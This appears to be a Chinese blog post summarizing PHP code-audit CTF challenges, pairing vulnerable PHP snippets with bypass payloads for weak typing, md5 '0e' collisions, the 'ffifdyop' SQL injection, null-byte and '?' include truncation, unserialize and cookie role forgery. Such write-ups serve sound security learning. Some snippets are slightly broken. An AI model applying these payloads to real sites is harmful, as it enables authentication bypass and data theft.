• jQuery火箭图标返回顶部代码


    写的有点多了,上一篇放在一起显得有点臃肿,就再起一篇吧~

    迷路的老铁点这里:[代码审计]PHP_Bugs题目总结(1)

    0x14 intval函数四舍五入

    <?php
    if($_GET[id]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
    mysql_select_db(SAE_MYSQL_DB);
    $id = intval($_GET[id]); ## 这里过滤只有一个intval
    $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
    if ($_GET[id]==1024) {
        echo "<p>no! try again</p>";
        }
      else{
        echo($query[content]);
      }
    }
    
    payload:?a=1024.1
    

    intval 函数最大的值取决于操作系统:

    32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。
    64 位系统上,最大带符号的 integer 值是 9223372036854775807。
    

    浮点数精度忽略

    if ($req["number"] != intval($req["number"]))
    

    在小数小于某个值(10^-16)以后,再比较的时候就分不清大小了。 输入number = 1.00000000000000010, 右边变成1.0, 而左与右比较会相等

    0x15 截断

    15.1 iconv 异常字符截断

    因iconv遇到异常字符就不转后面的内容了,所以可以截断。

    $a='1'.char(130).'2';
    echo iconv("UTF-8","gbk",$a); //将字符串的编码从UTF-8转到gbk
    echo iconv('GB2312', 'UTF-8', $str); //将字符串的编码从GB2312转到UTF-8
    

    这里chr(128)到chr(255)都可以截断

    15.2 eregi、ereg可用%00截断

    功能:正则匹配过滤 条件:要求php<5.3.4

    15.3 move_uploaded_file 用截断

    5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7 原来在高版本(受影响版本中),PHP把长度比较的安全检查逻辑给去掉了,导致了漏洞的发生 cve: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2348

    move_uploaded_file($_FILES['x']['tmp_name'],"/tmp/test.phpx00.jpg")

    上传抓包修改name为a.phpjpg(是nul字符),可以看到$_FILES[‘xx’][‘name’]存储的字符串是a.php,不会包含截断之后的字符,因此并不影响代码的验证逻辑。

    但是如果通过$_REQUEST方式获取的,则可能出现扩展名期望值不一致的情况,造成“任意文件上传”。

    15.4 inclue用?截断

    <?php
    $name=$_GET['name'];  
    $filename=$name.'.php';  
    include $filename;  
    ?>
    

    当输入的文件名包含URL时,问号截断则会发生,并且这个利用方式不受PHP版本限制,原因是Web服务其会将问号看成一个请求参数。

    测试POC:

    http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/ddd.txt? 
    

    则会打开ddd.txt中的文件内容。本测试用例在PHP5.5.38版本上测试通过。

    0x16 strpos数组与ereg正则

    这个就不讲了,上面有类似的。一个用数组构成NULL,或者用%00去截断ereg

    0x17 SQL注入or绕过

    这个看着有点乱,有时间再整理。

    0x18 十六进制与数字比较

    <?php
    
    error_reporting(0);
    function noother_says_correct($temp)
    {
        $flag = 'flag{test}';
        $one = ord('1');  //ord — 返回字符的 ASCII 码值
        $nine = ord('9'); //ord — 返回字符的 ASCII 码值
        $number = '3735929054';
        // Check all the input characters!
        for ($i = 0; $i < strlen($number); $i++)
        { 
            // Disallow all the digits!
            $digit = ord($temp{$i});
            if ( ($digit >= $one) && ($digit <= $nine) )
            {
                // Aha, digit not allowed!
                return "flase";
            }
        }
        if($number == $temp)
            return $flag;
    }
    $temp = $_GET['password'];
    echo noother_says_correct($temp);
    
    ?>
    

    这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了。

    在php里面,0x开头则表示16进制,将这串数字转换成16进制之后发现,是deadc0de,在开头加上0x,代表这个是16进制的数字,然后再和十进制的 3735929054比较,答案当然是相同的,返回true拿到flag

    0x19 数字验证正则绕过

    <?php
    error_reporting(0);
    $flag = 'flag{test}';
    if  ("POST" == $_SERVER['REQUEST_METHOD'])
    {
        $password = $_POST['password'];
        if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
        {
            echo 'Wrong Format';
            exit;
        }
        while (TRUE)
        {
            $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
            if (6 > preg_match_all($reg, $password, $arr))
                break;
            $c = 0;
            $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母
            foreach ($ps as $pt)
            {
                if (preg_match("/[[:$pt:]]+/", $password))
                    $c += 1;
            }
            if ($c < 3) break;
            //>=3,必须包含四种类型三种与三种以上
            if ("42" == $password) echo $flag;
            else echo 'Wrong password';
            exit;
        }
    }
    ?>
    

    逐步看一下:

    0 >= preg_match('/^[[:graph:]]{12,}$/', $password) 意为必须是12个字符以上(非空格非TAB之外的内容)

    $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
    if (6 > preg_match_all($reg, $password, $arr)) 
    

    意为匹配到的次数要大于6次

    $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
    foreach ($ps as $pt) 
    { 
        if (preg_match("/[[:$pt:]]+/", $password)) 
            $c += 1; 
    } 
    if ($c < 3) break; 
    

    意为必须要有大小写字母,数字,字符内容三种与三种以上

    if ("42" == $password) echo $flag; 
    

    答案:

    42.00e+00000000000 
    或
    420.000000000e-1
    

    我太难了~

    0x20 弱类型整数大小比较绕过

    前几天有些过弱类型的总结:

    [代码审计]php弱类型总结

    0x21 md5函数验证绕过

    if(md5($temp)==0) 要使md5函数加密值为0
    

    方法一: 使password不赋值,为NULL,NULL == 0为true http://127.0.0.1/php_bug/23.php?password= http://127.0.0.1/php_bug/23.php

    方法二: 经过MD5运算后,为0e*****的形式,其结果为010的n次方,结果还是零 http://127.0.0.1/php_bug/23.php?password=240610708 http://127.0.0.1/php_bug/23.php?password=QNKCDZO

    0x22 md5函数true绕过注入

    这道题就只看这一句话:

    $sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
    

    md5($password,true) 的作用就是将md5后的hex转换成字符串

    如果包含'or'xxx这样的字符串,那整个sql变成:

    SELECT * FROM admin WHERE pass = ''or'xxx'

    这就相当于自己转换成了一个万能密码....

    字符串:ffifdyop
    md5后,276f722736c95d99e921722cf9ed621c hex转换成字符串: 'or'6<trash> 
    

    0x23 switch没有break 字符与0比较绕过

    这道原题,我做了一下,发现好像有点问题,暂时还没做出一个优化后的题目,先说一下小知识点:

    归总于一句话:

    PHP中非数字开头字符串和数字 0比较==都会返回True

    ===会比较类型

    <?php
    $str="s6s";
    if($str==0){ echo "返回了true.";}
    ?>
    

    要字符串与数字判断不转类型方法有:

    方法一: $str="字符串";if($str===0){ echo "返回了true.";}
    方法二: $str="字符串";if($str=="0"){ echo "返回了true.";} ,
    

    0x24 unserialize()序列化

    关于php序列化的问题,我再前面几篇博客里有些过总结,这里也差不多是类似的:

    阅读代码,理下思路:

    flag在pctf.php,但showimg.php中不允许直接读取pctf.php,只有在index.php中可以传入变量class ;index.php中Shield类的实例$X = unserialize($g),$g = $_GET['class'];

    $X中不知$filename变量,但需要找的是:$filename = "pctf.php",现$X已知,求传入的class变量值。

    可以进行序列化操作:

    <!-- answer.php -->
    <?php
    
    require_once('shield.php');
    $x = class Shield();
    $g = serialize($x);
    echo $g;
    
    ?>
    
    <!-- shield.php -->
    <?php
        //flag is in pctf.php
        class Shield {
            public $file;
            function __construct($filename = 'pctf.php') {
                $this -> file = $filename;
            }
            
            function readfile() {
                if (!empty($this->file) && stripos($this->file,'..')===FALSE  
                && stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
                    return @file_get_contents($this->file);
                }
            }
        }
    ?>
    

    得到: O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

    构造:http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

    0x25 利用提交数组绕过逻辑

    <?php 
    $role = "guest";
    $flag = "flag{test_flag}";
    $auth = false;
    if(isset($_COOKIE["role"])){
        $role = unserialize(base64_decode($_COOKIE["role"]));
        if($role === "admin"){
            $auth = true;
        }
        else{
            $auth = false;
        }
    }
    else{
        $role = base64_encode(serialize($role));
        setcookie('role',$role);
    }
    if($auth){
        if(isset($_POST['filename'])){
            $filename = $_POST['filename'];
            $data = $_POST['data'];
            if(preg_match('[<>?]', $data)) {
                die('No No No!'.$data);
            }
            else {
                $s = implode($data);
                if(!preg_match('[<>?]', $s)){
                    $flag='None.';
                }
                $rand = rand(1,10000000);
                $tmp="./uploads/".md5(time() + $rand).$filename;
                file_put_contents($tmp, $flag);
                echo "your file is in " . $tmp;
            }
        }
        else{
            echo "Hello admin, now you can upload something you are easy to forget.";
            echo "<br />there are the source.<br />";
            echo '<textarea rows="10" cols="100">';
            echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
            echo '</textarea>';
        }
    }
    else{
        echo "Sorry. You have no permissions.";
    }
    ?>
    

    首先是给了一个页面,提示 Sorry. You have no permissions.

    查看 cookie 发现是 base64 。解密之后替换中间的 guest 为 admin 绕过登陆限制。

    看下面这段代码:

    if($auth){
        if(isset($_POST['filename'])){
            $filename = $_POST['filename'];
            $data = $_POST['data'];
            if(preg_match('[<>?]', $data)) {
                die('No No No!');
            }
            else {
                $s = implode($data);
                if(!preg_match('[<>?]', $s)){
                    $flag="None.";
                }
                $rand = rand(1,10000000);
                $tmp="./uploads/".md5(time() + $rand).$filename;
                file_put_contents($tmp, $flag);
                echo "your file is in " . $tmp;
            }
        }
    

    这段代码首先会查看提交的请求中是否存在 <> 如果没有则将传入的数据(如果是数组)转化为字符串。

    如果其中存在 <> 则将flag生成在一个随机命名的文件中。

    implode() 这个函数需要传入数组,如果传入的是字符串将报错,变量 $s 自然也就没有值。

    突出重重包围,构造payload:

    data[0]=123&data[1]=<ss>
    

    0x26 参考链接

    https://github.com/bowu678/php_bugs

    https://www.ddosi.com/b174/

    还有好多记不清了

  • 相关阅读:
    IDEA启动tomcat乱码
    RowKey设计之单调递增行键/时序数据
    ES入门REST API
    WebSocket-java实践
    Linux(CentOS 7)安装测试mysql5.6服务
    Linux(CentOS 7)安装测试svn服务
    Node.js安装及环境配置之Windows篇---完美,win7已测
    Java配置----JDK开发环境搭建及环境变量配置
    手把手教新手小白在window把自己的项目上传到github
    github常见操作和常见错误!错误提示:fatal: remote origin already exist
  • 原文地址:https://www.cnblogs.com/-mo-/p/11657030.html
Copyright © 2020-2023  润新知